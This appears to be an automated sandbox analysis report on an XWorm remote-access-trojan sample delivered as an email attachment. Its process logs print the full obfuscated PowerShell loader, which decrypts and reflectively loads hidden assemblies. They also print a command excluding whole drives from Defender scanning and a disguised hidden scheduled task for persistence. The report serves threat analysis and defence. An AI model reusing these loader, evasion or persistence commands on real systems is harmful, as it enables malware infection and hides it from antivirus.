Malware Analysis Report

2024-09-11 14:49

Sample ID 240611-rtlabs1anp
Target ForwardedMessage.eml
SHA256 2d22aad1f20e40c0a557741d6366ec2f61bc505ca491672d240b233079c9a70c
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2d22aad1f20e40c0a557741d6366ec2f61bc505ca491672d240b233079c9a70c

Threat Level: Known bad

The file ForwardedMessage.eml was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Detect Xworm Payload

Xworm

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-11 14:29

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-11 14:29

Reported

2024-06-11 14:36

Platform

win7-20240221-en

Max time kernel

117s

Max time network

119s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

Signatures

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1048 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1048 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1048 wrote to memory of 2000 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2080 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2000 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2000 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2000 wrote to memory of 2872 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network

N/A

Files

memory/2872-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

memory/2872-5-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

memory/2872-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2872-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2872-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2872-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2872-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

memory/2872-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2872-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

memory/2872-13-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-11 14:29

Reported

2024-06-11 14:36

Platform

win10v2004-20240426-en

Max time kernel

148s

Max time network

152s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1520 wrote to memory of 2576 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1520 wrote to memory of 2576 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2576 wrote to memory of 3492 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2576 wrote to memory of 3492 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2576 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2576 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 2928 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 2928 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 4904 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 4904 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 3616 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 3616 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 4648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 4648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2856 wrote to memory of 1420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 2856 wrote to memory of 1420 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 1420 wrote to memory of 3804 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 1420 wrote to memory of 3804 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe
PID 3804 wrote to memory of 3672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3804 wrote to memory of 3672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3804 wrote to memory of 4552 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3804 wrote to memory of 4552 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 2464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 2464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 1464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 1464 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 4408 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 4408 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 5008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4552 wrote to memory of 5008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 8009' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\SC3.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\SC3.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\SC3.cmd"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\SC3.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

